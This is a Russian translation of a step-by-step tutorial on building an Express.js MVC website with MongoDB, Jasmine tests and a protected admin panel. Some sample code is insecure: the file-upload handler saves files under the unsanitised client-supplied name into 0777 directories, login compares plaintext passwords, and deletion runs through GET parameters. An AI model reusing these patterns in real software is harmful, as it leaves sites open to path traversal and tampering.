*От переводчика: Я сам начал изучать node.js совсем недавно. Несомненно, в интернете есть много хороших(!) мануалов для новичков, в частности и здесь, на хабре (например [тут](http://habrahabr.ru/post/146983/) и [тут](http://habrahabr.ru/post/132745/)). Однако [данный мануал](http://net.tutsplus.com/tutorials/javascript-ajax/build-a-complete-mvc-web-site-with-expressjs/) от автора Krasimir Tsonev (советую также заглянуть к нему в многотематичный [блог](http://krasimirtsonev.com/blog)) показался мне особенно примечательным, так как в разумно краткой и понятной форме описывает процесс построения полноценного node.js-приложения на базе модуля Express с применением MVC-паттерна и базы данных MongoDB. Также автор уделяет внимание такой немаловажной вещи, как тестирование.*
#### Перевод
В этой статье мы будем строить полноценный веб-сайт с клиентской частью, а также панелью управления содержанием сайта. Как вы можете догадаться, окончательная рабочая версия программы содержит большое количество различных файлов. Я писал это руководство шаг за шагом, полностью отслеживая развитие процесса, но я не стал включать в него каждый отдельный файл, так как это сделает чтение долгим и скучным. Тем не менее, исходный код доступен [на GitHub](https://github.com/tutsplus/build-complete-website-expressjs), и я настоятельно рекомендую вам посмотреть его.
#### Вступление
[Express](http://expressjs.com/) — один из лучших фреймворков для [Node](http://nodejs.org/). Он имеет отличную поддержку со стороны разработчиков и кучу полезных функций. Есть много замечательных статей по Express, которые охватывают все основы работы с ним. Однако сейчас я хочу копнуть немного глубже и поделиться своим опытом в создании полноценного веб-сайта. В целом, эта статья не только о самом Express, но и о его комбинации с другими, не менее замечательными инструментами, которые доступны для разработчиков.
Я полагаю то, что Вы знакомы с Node.js, установили его на свою систему, и что Вы уже создавали на нём какие-то приложения.
В основе фреймворка Express лежит [Connect](http://www.senchalabs.org/connect/). Это набор middleware-функций, которое поставляется вместе с множеством полезных вещей. Если Вам интересно, что же такое middleware-функция, вот Вам небольшой пример:
```
var connect = require('connect'),
http = require('http');
var app = connect()
.use(function(req, res, next) {
console.log("That's my first middleware");
next();
})
.use(function(req, res, next) {
console.log("That's my second middleware");
next();
})
.use(function(req, res, next) {
console.log("end");
res.end("hello world");
});
http.createServer(app).listen(3000);
```
Middleware-функцией в основном зовётся функция, которая принимает в качестве параметров request и responce-объекты, а также callback-функцию, которая будет вызвана следующей. Каждая middleware-функция решает: либо ответить, используя responce-объект, либо передать поток следующей callback-функции. В примере выше, если Вы уберёте вызов метода **next()** во второй функции, строка “hello world” никогда не будет отправлена клиенту. В целом, именно как работает Express. В нём есть несколько предопределённых middleware-функций, которые, несомненно, сэкономят Вам кучу времени. Таковой, например, является *Body*-парсер, разбирающий тело запроса и поддерживающий типы содержимых *application/json*, *application/x-www-form-urlencoded* и *multipart/form-data*. Или *Cookie*-парсер, который разбирает куки-заголовки и заполняет поле **req.cookies** объектом, ключом которого будет имя куки.
Фактически, Express обёртывает собой Connect-фреймворк, дополняя его некоторой функциональностью, такой, например, как логика маршрутизации, которая делает прохождение процесса маршрутизации более гладким. Ниже приведён пример обработки GET-запроса:
```
app.get('/hello.txt', function(req, res){
var body = 'Hello World';
res.setHeader('Content-Type', 'text/plain');
res.setHeader('Content-Length', body.length);
res.end(body);
});
```
#### Установка
Есть два варианта установки Express. Первая — это поместить её описание в файл *package.json* и выполнить команду *npm install* (ходит такая шутка, что название данного менеджера пакетов расшифровывается как «no problem man» :)).
```
{
"name": "MyWebSite",
"description": "My website",
"version": "0.0.1",
"dependencies": {
"express": "3.x"
}
}
```
Код фреймворка будет помещён в директорию *node\_modules* и у Вас будет возможность создать его экземпляр. Я предпочитаю альтернативный вариант: командную строку. Просто установите Express, выполнив команду *npm install -g express*. Сделав это, Вы будете иметь новый CLI инструмент. Например, если Вы выполните:
```
express --sessions --css less --hogan app
```
Express сгенерирует для Вас сконфигурированный каркас приложения. Ниже приведён список параметров команды *express(1)*:
```
Usage: express [options]
Options:
-h, --help output usage information
-V, --version output the version number
-s, --sessions add session support
-e, --ejs add ejs engine support (defaults to jade)
-J, --jshtml add jshtml engine support (defaults to jade)
-H, --hogan add hogan.js engine support
-c, --css add stylesheet support (less|stylus) (defaults to plain css)
-f, --force force on non-empty directory
```
Как Вы видите, список доступных параметров небольшой, но мне этого вполне хватает. Как правило, я использую библиотеку [less](http://lesscss.org/) в качестве CSS-препроцессора, а также шаблонизатор [hogan](http://twitter.github.io/hogan.js/). В нашем примере нам необходима поддержка сессий, и параметр *--sessions* решит эту проблему. Когда выполнение команды завершится, структура нашего проекта будет выглядеть следующим образом:
```
/public
/images
/javascripts
/stylesheets
/routes
/index.js
/user.js
/views
/index.hjs
/app.js
/package.json
```
Если Вы загляните в файл *package.json*, Вы увидите, что все зависимости, которые нам нужны, сюда добавлены. Но они ещё не установлены. Для того, чтобы это сделать, просто выполните команду npm install, по завершении которой появится директория *node\_modules*.
Я понимаю, что подход, описанный выше, не достоин называться универсальным. Например, Вам может потребоваться поместить обработчики маршрутов в иную директорию, или что-нибудь иное. Но, как будет показано в следующих нескольких главах, я буду вносить изменения в сгенерированную структуру, что осуществляется весьма просто. Исходя из этого, советую применять команду *express(1)* просто как шаблонный генератор.
#### FastDelivery
Для этой инструкции я создал простой веб-сайт выдуманной компании с названием FastDelivery. Вот скриншот готового дизайна:
В конце этого руководства мы будем иметь готовое веб-приложение с рабочей панелью управления. Идея заключается в создании возможности управления каждой частью сайта в отдельных для каждой части областях. Макет был создан в Photoshop и порезан на CSS(less) и HTML(hogan) файлы. Я не буду описывать тут процесс нарезки, так как это не предмет обсуждения в данной статье, но если у Вас возникли по этой части вопросы, не стесняйтесь спрашивать. Закончив с нарезкой, у нас получается следующая структура файлов приложения:
```
/public
/images (there are several images exported from Photoshop)
/javascripts
/stylesheets
/home.less
/inner.less
/style.css
/style.less (imports home.less and inner.less)
/routes
/index.js
/views
/index.hjs (home page)
/inner.hjs (template for every other page of the site)
/app.js
/package.json
```
Здесь приведён список элементов сайта, которые у нас будет возможность администрировать:
* Домашняя страница (баннер в центре – заголовок и текст)
* Блог (добавление, удаление и редактирование статей)
* Страница услуг
* Страница карьер (профессиональный рост, а не песочная яма :) )
* Страница контактов
#### Конфигурация
Есть несколько вещей, которые нам надо сделать до того, как мы приступим к разработке. Настройка конфигурации — одна из таких вещей. Давайте представим, что наш маленький стайт будет развёрнут на трёх различных серверах — на локальном, на промежуточном и на боевом. Естественно, что настройки всех трёх окружений различны, и потому нам надо реализовать механизм, который будет достаточно гибкий для таких условий. Как Вы знаете, каждый nodejs-скрипт выполняется как консольное приложение. Это значит, что мы с лёгкостью можем приписать команде параметры, в которых будет определено текущее окружение. Я завернул эту часть в отдельный модуль, чтобы было удобно позже написать для него тесты. Файл */config/index.js*:
```
var config = {
local: {
mode: 'local',
port: 3000
},
staging: {
mode: 'staging',
port: 4000
},
production: {
mode: 'production',
port: 5000
}
}
module.exports = function(mode) {
return config[mode || process.argv[2] || 'local'] || config.local;
}
```
На данный момент мы имеем только два параметра — режим (mode) и порт (port). Как Вы могли предположить, приложение использует разные порты на разных серверах. Именно поэтому мы должны обновить точку входа нашего сайта, в файле *app.js*.
```
...
var config = require('./config')();
...
http.createServer(app).listen(config.port, function(){
console.log('Express server listening on port ' + config.port);
});
```
Чтобы переключаться между конфигурациями, просто добавьте наименование окружения в первый параметр команды. Например:
```
node app.js staging
```
Выведет:
```
Express server listening on port 4000
```
Теперь все наши настройки хранятся в одном месте, ими просто управлять.
#### Тесты
Я большой фанат [TDD](http://en.wikipedia.org/wiki/Test-driven_development). Я попробую покрыть тестами все базовые классы, которые будут упомянуты в этой статье. Согласен, написание тестов абсолютно для всего отнимет очень много времени, однако в общем, именно так Вы и должны создавать свои приложения. Один из моих любимых фреймворков для тестирования является [jasmine](http://pivotal.github.io/jasmine/). Конечно, и он доступен в пакетном менеджере *npm*:
```
npm install -g jasmine-node
```
Давайте создадим дирекотрию для хранения наших тестов. Первая вещь, которую мы будем тестировать, это наш конфигурационный файл. Имена тестовых файлов должны заканчиваться на *.spec.js*, так что файл мы назовём *config.spec.js*.
```
describe("Configuration setup", function() {
it("should load local configurations", function(next) {
var config = require('../config')();
expect(config.mode).toBe('local');
next();
});
it("should load staging configurations", function(next) {
var config = require('../config')('staging');
expect(config.mode).toBe('staging');
next();
});
it("should load production configurations", function(next) {
var config = require('../config')('production');
expect(config.mode).toBe('production');
next();
});
});
```
Выполните команду *jasmine-node ./tests* и Вы увидете следующее:
```
Finished in 0.008 seconds
3 tests, 6 assertions, 0 failures, 0 skipped
```
Сейчас я написал сперва реализацию, а только потом тесты. Это не является TDD-подходом, но в следующих главах я буду делать наоборот.
Я настоятельно рекомендую проводить достаточно времени за написанием тестов. Нет ничего лучше, чем полностью покрытое тестами приложение.
Несколько лет назад я осознал кое-что очень важное, то, что может помочь Вам создавать более качественные приложения. Каждый раз, когда Вы начинаете писать новый класс, новый модуль, или просто часть логики, задайтесь вопросом:
##### Как я могу это протестировать?
Ответ на этот вопрос поможет Вам писать код более эффективно, создавать хорошие API и разделять всё на красиво разделённые блоки. Вы не можете написать тесты для спагетти-кода. Например, в конфигурационном файле, упомянутом выше (*/config/index.js*), я добавил возможность отправки режима (mode) в конструктор модуля. Вы вполне можете удивиться: зачем я так сделал, ведь основной идеей является получение значения для режима из аргументов командной строки? Всё просто: потому что мне нужно протестировать его. Давайте представим, что месяцем спустя мне понадобится протестировать что-то, используя конфигурацию для боевого сервера, а нодовый скрипт выполняется с подставляющимся параметром. И у меня не будет возможности внести изменение без этого маленького усовершенствования. Этот предыдущий маленький шаг предотвратит возможные проблемы с развёртыванием приложения в будущем.
#### База данных
Если мы конструируем динамический веб-сайт, нам необходима база данных для хранения информации в ней. В качестве оной я выбрал [mongodb](http://mongodb.org) для этой инструкции. Mongo — это NoSQL-база данных. Инструкцию по установке Вы найдёте [тут](http://docs.mongodb.org/manual/installation/), и, так как я пользователь Windows, я следовал [инструкции по установке для Windows](http://docs.mongodb.org/manual/tutorial/install-mongodb-on-windows/). После того, как Вы закончите с установкой, запустите демон MongoDB, который по умолчанию слушает порт 27017. Итак, в теории, у нас имеется возможность соединиться с этим портом и обмениваться сообщениями с сервером mongodb. Чтобы сделать это через node-скрипт, нам нужен [mongodb-модуль/драйвер](https://github.com/mongodb/node-mongodb-native). Если Вы скачали [исходные файлы](https://github.com/tutsplus/build-complete-website-expressjs) для этой инструкции, значит модуль уже добавлен в файл *package.json*. Если же нет, просто добавьте «mongodb»: «1.3.10» в свойство **dependencies** и выполните команду *npm install*. Далее, мы напишем тест, который будет проверять, запущен ли mongodb-сервер.
Файл /tests/mongodb.spec.js:
```
describe("MongoDB", function() {
it("is there a server running", function(next) {
var MongoClient = require('mongodb').MongoClient;
MongoClient.connect('mongodb://127.0.0.1:27017/fastdelivery', function(err, db) {
expect(err).toBe(null);
next();
});
});
});
```
Callback-функция в методе mongodb-клиента **.connect** получает объект **db**. Позже мы задействуем его для управдения нашими данными. Это означает, что нам нужен доступ к нему внутри наших моделей. Создавать каждый раз при запросе в базу данных новый объект **MongoClient** будет не очень хорошей идеей. Именно поэтому я перенёс запуск Express-сервера в callback функции соедиения с БД:
```
MongoClient.connect('mongodb://127.0.0.1:27017/fastdelivery', function(err, db) {
if(err) {
console.log('Sorry, there is no mongo db server running.');
} else {
var attachDB = function(req, res, next) {
req.db = db;
next();
};
http.createServer(app).listen(config.port, function(){
console.log('Express server listening on port ' + config.port);
});
}
});
```
Так как у нас есть файл настроек конфигурации окружений, будет хорошей идеей поместить сюда имя хоста и порт mongodb-сервера и поменять URL соединения на:
'mongodb://' + config.mongo.host + ':' + config.mongo.port + '/fastdelivery'
Обратите особое внимание на middleware-функцию **attachDB**, которую я добавил прямо перед вызовом функции **http.createServer**. Благодаря этому небольшому дополнению мы будем заполнять свойство **.db** request-объекта. Хорошая новость заключается в том, что мы сможем задать несколько функций во время определения маршрута. Например:
```
app.get('/', attachDB, function(req, res, next) {
...
})
```
Таким образом Express вызывает функцию **attachDB** заранее, чтобы она попала в наш обработчик маршрута. Когда это произойдёт, request-объект будет иметь свойство **.db** и мы сможем использовать его для доступа к БД.
#### MVC
Всем нам знаком [шаблон MVC](http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller). Вопрос в том, как применить его в Express. Так или иначе, это вопрос интерпретации. В следующих нескольких главах я создам модули, которые будут работать как модель, представление и контроллер.
##### Модель
Модель — это то, что будет обрабатывать данные нашего приложения. У неё должен быть доступ к объекту **db**, возвращаемый объектом **MongoClient**. Наша модель также должна иметь метод для её расширения, так как нам могут потребоваться различные типы моделей. Например, мы можем захотеть создать модель **BlogModel** или **ContactsModel**. Для этого мы для начала должны создать тест: */tests/base.model.spec.js*. И помните: создавая эти тесты, мы сможем гарантировать то, что наши модели будут делать только то, что мы хотим, и ни что иное.
```
var Model = require("../models/Base"),
dbMockup = {};
describe("Models", function() {
it("should create a new model", function(next) {
var model = new Model(dbMockup);
expect(model.db).toBeDefined();
expect(model.extend).toBeDefined();
next();
});
it("should be extendable", function(next) {
var model = new Model(dbMockup);
var OtherTypeOfModel = model.extend({
myCustomModelMethod: function() { }
});
var model2 = new OtherTypeOfModel(dbMockup);
expect(model2.db).toBeDefined();
expect(model2.myCustomModelMethod).toBeDefined();
next();
})
});
```
Вместо настоящего объекта **db** я решил передавать макет объекта. Это делается для случая, если позже я захочу протестировать что-то конкретное, что будет зависеть от данных, поступающих из базы данных. Будет намного проще определять эти данные вручную.
Реализация расширения метода — немного непростая задача, так как мы должны изменить прототип **module.exports**, но оставить нетронутым первоначальный конструктор. К счастью, у нас есть уже написанный тест, который проверяет работоспособность нашего кода. Версия приведённого выше фрагмента кода выглядит так:
```
module.exports = function(db) {
this.db = db;
};
module.exports.prototype = {
extend: function(properties) {
var Child = module.exports;
Child.prototype = module.exports.prototype;
for(var key in properties) {
Child.prototype[key] = properties[key];
}
return Child;
},
setDB: function(db) {
this.db = db;
},
collection: function() {
if(this._collection) return this._collection;
return this._collection = this.db.collection('fastdelivery-content');
}
}
```
Здесь определены два вспомогательных метода. Сеттер для объекта **db** и геттер для коллекции из нашей БД.
##### Представление
Представление будет выводить информацию на экран. Говоря простым языком, представление — это класс, который отправляет браузеру ответ. Express предоставляет простую возможность это делать:
```
res.render('index', { title: 'Express' });
```
Response-объект — это обёртка, которая имеет хороший API, делающий наши жизни проще. Однако я предпочту создать свой модуль, в который будет закатана его функциональность. Стандартная директория представлений будет заменена на templates, а старая директория views будет раздавать нам класс представления *Base*.
Это маленькое изменение теперь требует другого изменения. Мы должны уведомить Express о том, что наши файлы шаблонов теперь находятся в другой директории:
```
app.set('views', __dirname + '/templates');
```
Во-первых, я определю всё, что мне нужно, напишу тесты, и после этого начну имплементацию. Нам нужен модуль, удовлетворяющий следующим требованиям:
* Его конструктор должен получать response-объект и имя шаблона
* Он должен иметь метод вывода (рендеринга) шаблонов, который принимает объект **data**
* Он должен быть расширяемый
Возможно, Вы удивитесь: зачем это мне понадобилось расширять класс представления? Разве он не просто вызывает метод **response.render**? Чтож, на практике бывают случаи, когда Вам надо послать иной заголовок, или же поманипулировать response-объектом. Например, обработать данные, пришедшие в JSON:
```
var data = {"developer": "Krasimir Tsonev"};
response.contentType('application/json');
response.send(JSON.stringify(data));
```
Вместо того, чтобы делать это каждый раз, было бы здорово иметь классы **HTMLView** и **JSONView**. Или же класс **XMLView**, для отправки браузеру данных в формате XML. Просто будет лучше, если Вы создадите большое веб-приложение, в котором уже будет реализован такой функционал, чем если будете копипастить один и тот же код раз за разом.
Ниже приведён тест для класса */views/Base.js*:
```
var View = require("../views/Base");
describe("Base view", function() {
it("create and render new view", function(next) {
var responseMockup = {
render: function(template, data) {
expect(data.myProperty).toBe('value');
expect(template).toBe('template-file');
next();
}
}
var v = new View(responseMockup, 'template-file');
v.render({myProperty: 'value'});
});
it("should be extendable", function(next) {
var v = new View();
var OtherView = v.extend({
render: function(data) {
expect(data.prop).toBe('yes');
next();
}
});
var otherViewInstance = new OtherView();
expect(otherViewInstance.render).toBeDefined();
otherViewInstance.render({prop: 'yes'});
});
});
```
Для того, чтобы протестировать рендеринг (визуализацию), я должен был создать макет. Для такого случая в первой части теста я создал объект, который имитирует response-объект фреймворка Express. Во второй части теста я создал другой класс *View*, который наследует базовый класс и применяет собственный метод рендеринга.
Код класса */views/Base.js*:
```
module.exports = function(response, template) {
this.response = response;
this.template = template;
};
module.exports.prototype = {
extend: function(properties) {
var Child = module.exports;
Child.prototype = module.exports.prototype;
for(var key in properties) {
Child.prototype[key] = properties[key];
}
return Child;
},
render: function(data) {
if(this.response && this.template) {
this.response.render(this.template, data);
}
}
}
```
Теперь у нас есть три теста в нашей директории для тестов, и если Вы запустите команду *jasmine-node ./tests*, результат должен быть следующим:
```
Finished in 0.009 seconds
7 tests, 18 assertions, 0 failures, 0 skipped
```
##### Контроллер
Помните, мы говорили про маршруты, и как они определялись?
```
app.get('/', routes.index);
```
Символ '/' после маршрута в примере выше и есть контроллер. Это та самая middleware-функция, которая принимает в себя объекты **request**, **response** и callback-функцию **next()**.
```
exports.index = function(req, res, next) {
res.render('index', { title: 'Express' });
};
```
Выше описано, как должен выглядеть ваш контроллер, в контексте применения Express. Команда *express(1)* создаёт директорию под имененм *routes*, но в нашем случае лучше будет, если она будет называться *controllers*. Я переименовал её, чтобы файловая структура соответствовала этой схеме.
Так как мы строим не просто маленькое крошечное приложение, было бы целесообразно создать базовый класс, который можно расширять. Если нам когда-нибудь понадобится добавить функционала всем нашим контроллерам, этот базовый класс был бы идеальным местом для реализации дополнений. Я снова сначала пишу тест, так что давайте определим, что нам нужно для базового класса:
* Он должен иметь расширяемый метод, который принимает объект и возвращает новый дочерний экземпляр
* Дочерний экземпляр должен иметь метод run, которым является старая добрая middleware-функция
* Должно быть свойство name, которое идентифицирует контроллер
* У нас должна быть возможность создавать независимые объекты, наследуемые от базового класса
Всего лишь неколько пунктов, но мы можем добавить ещё функциональности позже.
Тест будет выглядеть примерно так:
```
var BaseController = require("../controllers/Base");
describe("Base controller", function() {
it("should have a method extend which returns a child instance", function(next) {
expect(BaseController.extend).toBeDefined();
var child = BaseController.extend({ name: "my child controller" });
expect(child.run).toBeDefined();
expect(child.name).toBe("my child controller");
next();
});
it("should be able to create different childs", function(next) {
var childA = BaseController.extend({ name: "child A", customProperty: 'value' });
var childB = BaseController.extend({ name: "child B" });
expect(childA.name).not.toBe(childB.name);
expect(childB.customProperty).not.toBeDefined();
next();
});
});
```
А ниже приведена реализация */controllers/Base.js*:
```
var _ = require("underscore");
module.exports = {
name: "base",
extend: function(child) {
return _.extend({}, this, child);
},
run: function(req, res, next) {
}
}
```
Разумеется, каждый класс-потомок должен иметь свой метод *run*, реализующий свою логику.
#### Веб-сайт FastDelivery
Чтож, у нас имеется хороший набор классов для нашей MVC архитектуры, также мы покрыли тестами все модули. Теперь мы готовы продолжить заниматься сайтом для нашей вымышленной компании FastDelivery. Давайте представим, что сайт будет состоять из двух частей — пользовательской части и администрационной панели. Пользовательская часть будет предназначаться для презентации информации, хранящейся в БД, конечному пользователю. Администрационная панель будет для управления этой информацией. Начнём с последней.
##### Панель управления
Давайте сперва создадим простой контроллер, который будет обслуживать страничку админ-панели.
Файл */controllers/Admin.js*:
```
var BaseController = require("./Base"),
View = require("../views/Base");
module.exports = BaseController.extend({
name: "Admin",
run: function(req, res, next) {
var v = new View(res, 'admin');
v.render({
title: 'Administration',
content: 'Welcome to the control panel'
});
}
});
```
Используя написанные заранее базовые классы наших контроллеров и представлений, мы запросто можем создать входную точку для администрационной панели. Класс *View* принимает имя файла шаблона. Согласно коду выше, файл должен быть назван *admin.hjs* и должен быть помещён в директорию */templates*. Его содержание будет выглядеть примерно так:
```
{{ title }}
{{ content }}
=============
```
(Чтобы данная инструкция оставалась достаточно короткой и в простом для чтения формате, я не буду приводить тут код каждого шаблона. Я настоятельно рекомендую, чтобы Вы скачали [исходный код](https://github.com/tutsplus/build-complete-website-expressjs) с GitHub.)
Теперь, чтобы сделать наш контроллер видимым, нам надо добавить маршрут в *app.js*:
```
var Admin = require('./controllers/Admin');
...
var attachDB = function(req, res, next) {
req.db = db;
next();
};
...
app.all('/admin*', attachDB, function(req, res, next) {
Admin.run(req, res, next);
});
```
Учитывайте, что мы не посылаем метод **Admin.run** как middleware-функцию напрямую. Это потому, что мы хотим сохранить контекст. Если мы сделаем так:
```
app.all('/admin*', Admin.run);
```
слово *this* в объекте **Admin** будет указывать на совершенно другое место.
###### Защита админ-панели
Каждая станица, которая начинается с */admin*, должна быть защищена. Чтобы достичь этого, мы будем использовать встроенную в Express middleware-функцию [Sessions](http://www.senchalabs.org/connect/middleware-session.html). Она просто добавляет объект к запросу, который называется **session**. Теперь мы должны изменить наш контроллер *Admin* так, чтобы он выполнял две следующие вещи::
* Он должен проверять, доступна ли сессия. Если нет, выводить форму авторизации
* Он должен принимать данные, отправленные из формы авторизации и авторизирвать пользователя, если логин и пароль совпали с логином и паролем из базы
Ниже приведена небольшая вспомогательная функция, которая будет удовлетворять описанным выше требованиям:
```
authorize: function(req) {
return (
req.session &&
req.session.fastdelivery &&
req.session.fastdelivery === true
) || (
req.body &&
req.body.username === this.username &&
req.body.password === this.password
);
}
```
Сперва выполняется скрипт, который пытается узнать пользователя через объект **session**. Затем мы проверяем, были ли присланы нам данные из формы. Если да, данные из формы доступны нам из объекта **request.body,** который подготовила для нас middleware-функция **bodyParser**. Затем мы просто проверяем, совпадают ли логин и пароль.
А теперь настаёт время для метода *run* из контроллера, который использует наш новоиспечённый хелпер (базовую обёртку для всех контроллеров). Мы проверяем: если пользователь авторизирован, показываем ему панель управления, в противном случае выводим страницу авторизации:
```
run: function(req, res, next) {
if(this.authorize(req)) {
req.session.fastdelivery = true;
req.session.save(function(err) {
var v = new View(res, 'admin');
v.render({
title: 'Administration',
content: 'Welcome to the control panel'
});
});
} else {
var v = new View(res, 'admin-login');
v.render({
title: 'Please login'
});
}
}
```
###### Управление контентом
Как я и сказал в начале этой статьи, у нас имеется немало вещей, которые мы будем администрировать. Чтобы упростить процесс, давайте будем держать все данные в одной коллекции. Каждая запись будет иметь следующие свойства: заголовок, текст, картинку и тип. Последнее будет определять владельца записи. Для примера, странице контактов необходима только одна запись с типом “contacts”, в то время как страница блога требует больше записей. Итак, нам нужно добавить три новых страницы, для добавления, удаления и редактирования записей. Перед тем, как мы начнём создавать новые шаблоны, стилизовать и добавлять новые штуки в контроллер, мы должны написать класс для нашей модели, которая будет стоять между MongoDB-сервером и нашим приложением, и, конечно, предоставлять нам удобный API.
```
// /models/ContentModel.js
var Model = require("./Base"),
crypto = require("crypto"),
model = new Model();
var ContentModel = model.extend({
insert: function(data, callback) {
data.ID = crypto.randomBytes(20).toString('hex');
this.collection().insert(data, {}, callback || function(){ });
},
update: function(data, callback) {
this.collection().update({ID: data.ID}, data, {}, callback || function(){ });
},
getlist: function(callback, query) {
this.collection().find(query || {}).toArray(callback);
},
remove: function(ID, callback) {
this.collection().findAndModify({ID: ID}, [], {}, {remove: true}, callback);
}
});
module.exports = ContentModel;
```
Модель берёт на себя заботу о генерации уникального ID для каждой записи. Нам он понадобится, чтобы позже обновлять информацию.
Если нам надо добавить новую запись на страницу контактов, мы можем написать следующее:
```
var model = new (require("../models/ContentModel"));
model.insert({
title: "Contacts",
text: "...",
type: "contacts"
});
```
Итак, у нас имееется неплохой API для управления данными в нашей коллекции mongodb. И теперь мы готовы написать UI, чтобы использовать весь этот функционал. На этот раз контроллер *Admin* будет изменён совсем немного. Чтобы упростоить нам задачу, я решил совместить список добавленных записей и форму добавления/редактирования записи. Как вы можете видеть на скриншоте ниже, левая часть страницы зарезервирована под список, а правая — под форму.
Отображение всех элементов управления на одной странице означает, что мы должны сосредоточиться на той части, которая рендерит эту страницу, или, если быть более конкретным, на данных, которые мы отправляем в шаблон. Поэтому я создал несколько объединённых вспомогательных функций, таких как эти:
```
var self = this;
...
var v = new View(res, 'admin');
self.del(req, function() {
self.form(req, res, function(formMarkup) {
self.list(function(listMarkup) {
v.render({
title: 'Administration',
content: 'Welcome to the control panel',
list: listMarkup,
form: formMarkup
});
});
});
});
```
Да, выглядит немного безобразно, но зато работает именно так, как я хочу. Первый хелпер — метод *del*, который проверяет текущие GET-параметры, и, если находит комбинацию *action=delete&id=[id of the record]*, то удаляет соответствующие данные из коллекции. Вторая функция называется *form*, она ответственна главным образом за отображение формы в правой части страницы. Функция проверяет, пришла ли форма на сервер и должным образом обновляет или создаёт записи в БД. В конце метод *list* извлекает информацию и подготавливает HTML-таблицу, которая позже будет отправлена в шаблон. Реализация этих трёх хелперов может быть найдена в [исходном коде](https://github.com/tutsplus/build-complete-website-expressjs) к этой инструкции.
Ниже показана функция, которая обрабатывает загрузку файла:
```
handleFileUpload: function(req) {
if(!req.files || !req.files.picture || !req.files.picture.name) {
return req.body.currentPicture || '';
}
var data = fs.readFileSync(req.files.picture.path);
var fileName = req.files.picture.name;
var uid = crypto.randomBytes(10).toString('hex');
var dir = __dirname + "/../public/uploads/" + uid;
fs.mkdirSync(dir, '0777');
fs.writeFileSync(dir + "/" + fileName, data);
return '/uploads/' + uid + "/" + fileName;
}
```
Если файл отправлен на сервер, свойство **.files** request-объекта будет заполнено соответствующими данными. В нашем случае мы имеем следующий HTML-элемент:
Это означает, что мы можем получить доступ к отправленным данным через **req.files.picture**. Как показано в примере выше, **req.files.picture.path** используется для получения сырого (необработанного) содержимого файла. Далее, присланный файл сохраняется в созданную для загрузок директорию, и в самом конце, возвращается соответствующий URL до этого файла. Все эти операции синхронны, но хорошей практикой всё же является применять асинхронную версию методов *readFileSync*, *mkdirSync* и *writeFileSync*.
##### Пользовательская часть
Самая сложная часть теперь готова. Админ-панель работает, и у нас есть класс **ContentModel**, который даёт нам доступ к информации, хранящейся в БД. Что нам теперь нужно сделать, это написать контроллеры для пользовательской части и привязать их к сохранённому контенту. Вот контроллер для домашней страницы – */controllers/Home.js*
```
module.exports = BaseController.extend({
name: "Home",
content: null,
run: function(req, res, next) {
model.setDB(req.db);
var self = this;
this.getContent(function() {
var v = new View(res, 'home');
v.render(self.content);
})
},
getContent: function(callback) {
var self = this;
this.content = {};
model.getlist(function(err, records) {
... storing data to content object
model.getlist(function(err, records) {
... storing data to content object
callback();
}, { type: 'blog' });
}, { type: 'home' });
}
});
```
Домашняя страница требует одну запись с типом “home” и четыре записи с типом “blog”.
Как только контроллер будет готов, нам нужно будет добавить маршрут до него в наш *app.js*:
```
app.all('/', attachDB, function(req, res, next) {
Home.run(req, res, next);
});
```
Мы снова прикрепляем объект **db** к request-объекту. По большей части тот же процесс, который мы выполняли при создании админ-панели.
Другие страницы для пользовательской части практически идентичны в том, что они все имеют контроллер, который получает данные при помощи класса модели, и, конечно, имеет маршрут. Есть два интересных аспекта, которые я бы хотел осветить более подробно. Первый связан со страницей блога. Страница должна показывать как все статьи, так и отдельно взятую. Определим пару маршрутов:
```
app.all('/blog/:id', attachDB, function(req, res, next) {
Blog.runArticle(req, res, next);
});
app.all('/blog', attachDB, function(req, res, next) {
Blog.run(req, res, next);
});
```
Они оба используют один и тот же контроллер: *Blog*, но вызывают два разных метода *run*. Обратите внимание на строку */blog/:id*. Данный маршрут будет совпадать с такими URL’ами, как: */blog/4e3455635b4a6f6dccfaa1e50ee71f1cde75222b*, где этот длинный хэш будет доступен через свойство **req.params.id**. Другими словами, мы можем определять динамические параметры. В нашем случае это будет ID записи (статьи). Теперь, когда мы узнали об этом, мы можем генерировать уникальную страницу для каждой статьи.
Вторым интересным аспектом является то, как я буду создавать страницы услуг, карьер и контактов. Понятно, что все они будут использовать только одну запись из БД. Если бы нам надо было создавать контроллер для каждой страницы, мы бы просто копипастили один и тот же код и лишь меняли в нём поле **type**. Есть лучший способ сделать это, через один контроллер, который будет принимать тип записи в свой метод *run*. Вот маршруты:
```
app.all('/services', attachDB, function(req, res, next) {
Page.run('services', req, res, next);
});
app.all('/careers', attachDB, function(req, res, next) {
Page.run('careers', req, res, next);
});
app.all('/contacts', attachDB, function(req, res, next) {
Page.run('contacts', req, res, next);
});
```
А вот как будет выглядеть контроллер:
```
module.exports = BaseController.extend({
name: "Page",
content: null,
run: function(type, req, res, next) {
model.setDB(req.db);
var self = this;
this.getContent(type, function() {
var v = new View(res, 'inner');
v.render(self.content);
});
},
getContent: function(type, callback) {
var self = this;
this.content = {}
model.getlist(function(err, records) {
if(records.length > 0) {
self.content = records[0];
}
callback();
}, { type: type });
}
});
```
#### Развёртывание
Развёртывание веб-сайта на базе Express, по сути, ничем не отличается от развёртывания любого другого приложения на Node.js:
* Файлы заливаются на сервер
* Node-процесс должен быть остановлен (если он запущен)
* Для установки всех необходимых зависимостей выполняется команда *npm install*
* Главный node-скрипт снова запускается
Имейте ввиду, что Node — очень молодой продукт, и не всё может работать так, как Вы ожидаете, однако улучшения в нём делаются всё время. Например, модуль [forever](https://github.com/nodejitsu/forever) гарантирует Вам беспрерывную работу Node.js. Вы можете запустить его, выполнив следующую команду:
```
forever start yourapp.js
```
Это то, что я использую на своих серверах. Этот маленький инструмент решает одну большую проблему. Если Вы запустите ваше приложение командой *node yourapp.js*, как только скрипт завершит свою работу неудачно, сервер упадёт, в то время как forever просто перезапускает приложение.
